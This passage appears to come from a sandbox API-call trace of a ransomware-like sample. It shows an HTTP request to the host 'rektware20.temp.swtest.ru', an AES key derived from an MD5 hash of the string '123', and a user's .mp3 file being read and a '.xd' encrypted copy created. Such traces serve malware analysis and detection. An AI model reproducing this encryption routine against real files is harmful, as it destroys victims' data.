dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0080.650] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0080.650] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0080.650] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621000, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1621000, lpdwBufferLength=0x130ee1c) returned 1 [0080.650] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0080.650] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0080.650] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0080.651] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0080.651] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0080.651] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0080.651] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629240, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629240*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0080.651] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629400, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629400*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0080.651] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0080.652] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0080.652] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0080.652] CloseHandle (hObject=0x0) returned 0 [0080.652] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.652] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cab0 [0080.652] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0080.652] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.652] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0080.652] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.652] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0080.652] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0080.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.653] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0080.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.653] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0080.653] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0080.653] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0080.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.653] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.653] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0080.653] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0080.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0080.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0080.654] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0080.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0080.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0080.657] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0080.657] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631d48) returned 1 [0080.657] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.657] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.657] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0080.657] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0080.657] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0080.658] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.658] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.658] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.658] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0080.658] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0080.658] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0080.658] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0080.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.658] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0080.658] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.658] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.658] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0080.658] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0080.658] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0080.658] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0080.658] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0080.659] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0080.659] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0080.659] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0080.659] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0080.659] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0080.659] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.659] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.659] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.659] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0080.659] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0080.659] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0080.659] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0080.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0080.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621558, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0080.659] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0080.660] CryptCreateHash (in: hProv=0x1631d48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0080.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0080.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629330, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0080.660] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0080.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0080.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0080.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.660] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.660] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0080.660] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0080.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0080.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621810, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0080.661] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0080.661] CryptHashData (hHash=0x164c8b0, pbData=0x16293d0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0080.662] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.662] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.662] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.662] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.662] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0080.662] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0080.662] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0080.662] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0080.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0080.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621648, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0080.663] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0080.663] CryptDeriveKey (in: hProv=0x1631d48, Algid=0x6610, hBaseData=0x164c8b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0080.663] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.663] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.663] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.663] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.663] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.663] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0080.663] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0080.663] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0080.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0080.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0080.664] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0080.664] CryptDestroyHash (hHash=0x164c8b0) returned 1 [0080.664] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.664] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\qgtigk8gaa0dq7hch.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0080.664] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.664] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0080.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.665] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.665] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6")) returned 0x10 [0080.665] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\qgtIGK8GAA0DQ7hCH.mp3.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\qgtigk8gaa0dq7hch.mp3.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0080.666] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.666] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.666] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.666] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.668] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0080.669] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xe564, lpOverlapped=0x0) returned 1 [0080.715] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0080.720] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.720] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.720] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0080.720] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0080.721] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.721] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0080.721] CharUpperBuffW (in: 